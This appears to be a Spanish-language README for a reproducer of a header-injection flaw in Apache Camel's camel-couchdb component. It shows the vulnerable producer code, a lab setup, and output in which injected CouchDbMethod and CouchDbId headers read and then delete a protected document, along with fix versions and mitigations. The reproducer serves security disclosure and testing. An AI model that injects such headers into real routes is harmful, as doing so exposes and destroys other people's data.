
Reproductor para CVE-2026-46588: Apache Camel camel-couchdb Inyección de cabeceras CouchDb* (confusión de operación) subvirtiendo un punto final de solo escritura en lectura + eliminación de documentos arbitrarios (corregido en 4.14.8/4.18.3/4.21.0)
CouchDb* Header Injection Reproducer (CVE-2026-46588)Este proyecto demuestra una inyección de cabeceras de mensaje en el componente camel-couchdb de Apache Camel, registrada como CVE-2026-46588. El componente lee varias cabeceras de Exchange para controlar su comportamiento — CouchDbDatabase, CouchDbSeq, CouchDbId (identificador del documento), CouchDbRev (revisión del documento) y CouchDbMethod (el método de operación). Los valores de cadena de estas constantes de cabecera (definidas en CouchDbConstants) usan el prefijo CouchDb en lugar del prefijo estándar Camel que usa cualquier otro componente. La estrategia de filtrado de cabeceras HTTP entrantes HttpHeaderFilterStrategy de Camel solo bloquea nombres de cabecera que comienzan con Camel / camel, por lo que estos nombres pasan por el filtro entrante sin cambios. Cuando una ruta expone un punto de entrada HTTP (por ejemplo, platform-http) delante de un productor couchdb, un cliente HTTP no confiable puede establecer estas cabeceras directamente y anular la operación que el autor de la ruta pretendía.
Esta PoC demuestra el impacto como confusión de operación: un endpoint de ingesta de documentos de solo escritura se convierte en una lectura y luego una eliminación de un documento arbitrario mediante la inyección de CouchDbMethod (y CouchDbId).
CouchDbMethod=GET + CouchDbId=<secreto> → divulgación (lee un documento que el endpoint nunca expone y filtra su _rev).CouchDbMethod=DELETE (con el _rev filtrado) → destrucción (elimina ese documento).Advisory: https://camel.apache.org/security/CVE-2026-46588.html
Misma familia de inyección de cabeceras que CVE-2025-27636, CVE-2026-40453, CVE-2026-46453 y CVE-2026-47323. La corrección comparte su PR con el aviso hermano CVE-2026-46587 (camel-couchbase).
// CouchDbConstants (affected 4.18.2) — the header names carry the CouchDb prefix, not Camel:
String HEADER_METHOD = "CouchDbMethod";
String HEADER_DOC_ID = "CouchDbId";
// CouchDbProducer.process (affected 4.18.2) — the operation is chosen from the header:
String operation = exchange.getIn().getHeader(CouchDbConstants.HEADER_METHOD, String.class);
if (ObjectHelper.isEmpty(operation)) {
saveJsonElement(json); // default: save the body
} else if (operation.equalsIgnoreCase("DELETE")) {
deleteJsonElement(json); // delete by the body's _id/_rev
} else if (operation.equalsIgnoreCase("GET")) {
String docId = exchange.getIn().getHeader(CouchDbConstants.HEADER_DOC_ID, String.class);
exchange.getIn().setBody(getElement(docId)); // read an arbitrary document
}
La corrección (4.14.8 / 4.18.3 / 4.21.0) renombra los valores de las cabeceras a la convención de Camel — CouchDbMethod → CamelCouchDbMethod, CouchDbId → CamelCouchDbId, CouchDbRev → CamelCouchDbRev, CouchDbDatabase → CamelCouchDbDatabase, CouchDbSeq → CamelCouchDbSeq — por lo que son bloqueados por la estrategia entrante HttpHeaderFilterStrategy como cualquier otra cabecera de control de Camel. Los nombres de los campos constantes de Java no cambian.
from("platform-http:/ingest")
.removeHeaders("Camel*") // documented hardening — see below
.convertBodyTo(String.class)
.to("couchdb:http://<host>:5984/cameldb?username=..&password=..&createDatabase=true");
La intención del autor de la ruta es un endpoint de ingesta de solo escritura — los clientes POSTean documentos para ser guardados, nada más. Como endurecimiento documentado, la ruta elimina el espacio de nombres de cabeceras de control de Camel en el borde. Eso no ayuda: la cabecera de operación se llama CouchDbMethod, no CamelCouchDbMethod, por lo que no es eliminada ni por removeHeaders("Camel*") ni por el filtro de cabeceras HTTP incorporado — y el productor cambia de operación basándose en ella.
La víctima es la ruta de ingesta Camel y su base de datos CouchDB; el atacante es un cliente HTTP no autenticado que solo establece cabeceras de solicitud. Una pequeña utilidad REST siembra y lee el documento secreto para verificación, independientemente de la ruta vulnerable.
CVE-2026-46588/
├── pom.xml # camel-platform-http + camel-couchdb 4.18.2 (gson fijado a 2.13.2, ver nota)
├── Dockerfile
├── docker-compose.yml # couchdb 3.3 + la aplicación
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CouchDbSettings.java # host / db / creds / id del documento secreto + marcador
│ ├── CouchDbHarness.java # Utilidad REST: espera a CouchDB, siembra y lee el documento secreto
│ ├── VictimRoute.java # platform-http:/ingest -> productor couchdb (intención de solo escritura)
│ └── ExploitController.java # atacante: POST /ingest con cabeceras CouchDbMethod / CouchDbId inyectadas
└── resources/
└── application.properties
Nota: el pom fija gson.version=2.13.2 (la versión que envía Camel). De lo contrario, Spring Boot 3.2.0 fijaría la versión anterior gson 2.10.1, que carece de
com.google.gson.internal.GsonTypesy hace que el SDK de Cloudant incluido lanceNoClassDefFoundErroren tiempo de ejecución.
mvn clean package -DskipTests
docker compose up -d --build
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
secret document in CouchDB (read straight from the database):
{"_id":"admin-secret","_rev":"...","secret":"confidential salary and bonus figures","marker":"FLAG{couchdb_method_injection_CVE_2026_46588}"}
=== 1) Ingesta legítima (sin cabeceras CouchDb*) — se guarda un nuevo documento ===
{"note":"benign user submission"}
=== 2) CouchDbMethod=GET + CouchDbId=admin-secret inyectado — lee un documento protegido ===
{ "_id": "admin-secret", "_rev": "...", "marker": "FLAG{couchdb_method_injection_CVE_2026_46588}", ... }
disclosure: true
=== 3) CouchDbMethod=DELETE inyectado (con el _rev filtrado) — elimina el documento protegido ===
secret document now: <not found>
destruction: true
>>> Prueba de confusión de operación / inyección de cabeceras — un cliente no autenticado convirtió un endpoint
>>> de ingesta de solo escritura en lectura (verdadero) y eliminación (verdadero) de un documento arbitrario,
>>> a través de las cabeceras CouchDbMethod / CouchDbId.
Cualquier ruta con un productor couchdb alcanzable desde un consumidor HTTP. Cabeceras inyectables: CouchDbMethod (cambiar guardado → obtener / eliminar), CouchDbId (documento objetivo para obtener), y el _id / _rev del cuerpo para eliminar. El lado del consumidor añade CouchDbDatabase y CouchDbSeq.
Actualizar a 4.14.8 / 4.18.3 / 4.21.0 (PR de aviso #23228). Después de la corrección, las cabeceras de control llevan el prefijo Camel (CamelCouchDbMethod, CamelCouchDbId, …) y se filtran en el límite HTTP como cualquier otra cabecera de control.
Hasta la actualización, elimine las cabeceras afectadas de los mensajes entrantes no confiables antes de que lleguen al productor, por ejemplo, .removeHeader("CouchDbDatabase"), .removeHeader("CouchDbId"), .removeHeader("CouchDbRev"), .removeHeader("CouchDbSeq") y .removeHeader("CouchDbMethod") delante del endpoint couchdb, o aplique una HeaderFilterStrategy personalizada que bloquee estos nombres.
Este reproductor se proporciona solo para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo use contra sistemas sin permiso explícito.
| Propiedad | Valor |
|---|
| Componente | camel-couchdb |
| Clase afectada | org.apache.camel.component.couchdb.CouchDbProducer leyendo CouchDbConstants.HEADER_METHOD ("CouchDbMethod"), HEADER_DOC_ID ("CouchDbId"), etc. |
| CWE | CWE-20: Improper Input Validation |
| Impacto | Un cliente HTTP establece cabeceras CouchDb* → anula la operación / documento → divulgación, eliminación, manipulación |
| Precondiciones | Una ruta expone un productor couchdb detrás de un consumidor HTTP (ej. platform-http); no autenticado cuando el consumidor lo está |
| Versiones afectadas | Desde 4.0.0 antes de 4.14.8, desde 4.15.0 antes de 4.18.3, desde 4.19.0 antes de 4.21.0 |
| Versiones corregidas | 4.14.8, 4.18.3, 4.21.0 |
| Corrección | PR apache/camel#23228 (main), backport vía #23230 (4.18.x) / #23231 (4.14.x) |
| Crédito | Yu Bao (PayPal) |